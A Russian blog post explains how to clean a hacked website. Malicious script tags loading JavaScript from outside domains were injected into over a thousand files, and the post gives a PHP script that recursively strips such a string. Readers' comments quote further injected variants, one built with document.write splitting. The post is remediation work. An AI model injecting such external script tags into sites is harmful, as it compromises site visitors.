Навигатор сайта : Разделы Информационные технологии Поиск и замена одинаковой строки всех файлов сайта

Поиск и замена одинаковой строки всех файлов сайта

Обратился ко мне на днях приятель с просьбой разобраться, почему его сайт не работает. При детальном рассмотрении оказалось, что по неведомым причинам в конец строки более чем 1000 файлов сайта с расширениями *.php и *.html был внедрен сторонний код:

Код:

 

<script src="http://microsprogram.com/editpage.js"></script>

 

Поскольку вручную менять код файлов - титанический и глупый труд, а лень, как известно, двигатель - прогресса, решено было написать небольшой скрипт под названием files123.php, удаляющий одинаковый зловредный код из всех файлов сайта.

Вот что получилось:

Код:

 

<?php
$root  =  $_SERVER['DOCUMENT_ROOT'];
$search = '<script src="http://microsprogram.com/editpage.js"></script>'; //строка, которую нужно найти в каждом файле и заменить на ''
$thisfile = 'files123.php'; //чтобы в процессе не заменить искомую строку в этом же файле
function find_and_replace($dir,$search,$thisfile)
{

$new_dir = null;
$dir_files = opendir($dir);
    while(false !== ($file = readdir($dir_files)))
    {

        if($file != '.' && $file != '..')
        $new_dir[] = $dir."/".$file;
    }

        if($new_dir)
        foreach($new_dir as $check )
        {
              if((is_file($check)) && (basename($check) !== $thisfile) && ((strtolower(substr($check,-4)) === '.php' ) || (strtolower(substr($check,-4)) === '.tpl') || (strtolower(substr($check,-5)) === '.html')
|| (strtolower(substr($check,-3)) === '.js'))) {
                $handle = fopen($check, "rb");
                $contents = '';
                while (!feof($handle)) {
                  $contents .= fread($handle, 8192);
                }
                fclose($handle);
                if (strpos($contents,$search) !== false) {
                    $file = fopen ($check,"w+");
                    $str = str_replace($search,'',$contents);
                    fputs($file, $str);
                    fclose ($file);
                    echo $check."<br>";
                    }
              }
              elseif(is_dir($check))
              find_and_replace($check,$search,$thisfile);
        }
}
find_and_replace($root,$search,$thisfile);

 

Пользуйтесь. Надеюсь кому-нибудь понадобится.

Комментарии  

 
+1 # RE: Поиск и замена одинаковой строки всех файлов сайтаrozen 30.08.2011 00:15
Спасибо!
Цитировать | Сообщить модератору
 
 
0 # Опять двадцать пятьEcolora 04.10.2011 07:12
Печально, но эта malware (малварь) опять просочилась на сайт. На этот раз код был:
< script src="http://microssofting.com/sitecookies.js" >< /script >

Придется похоже проводить аудит безопасности сайта моего знакомого...
Цитировать | Сообщить модератору
 
 
0 # Опять двадцать пятьEcolora 19.10.2011 05:53
На этот раз код такой:

< script src="http://includest.com/footer.js" >< /script >

Даже забавно... постоянно терь будем лечиться. :-)))
Цитировать | Сообщить модератору
 
 
0 # Ещё такой вариантEcolora 02.03.2012 01:24
< script src="http://statisticbyhand .mooo.com/style.js">< /script >
Цитировать | Сообщить модератору
 
 
0 # Еще вот такойEcolora 06.02.2013 09:05
document.write('< scr'+'ipt src="http://ratingsite.org/ratingsite.php" >< /scr'+'ipt >');}
Цитировать | Сообщить модератору
 

Добавить комментарий


Защитный код
Обновить

Счетчик определения тИЦ и PR Яндекс.Метрика

для детей старше 12 лет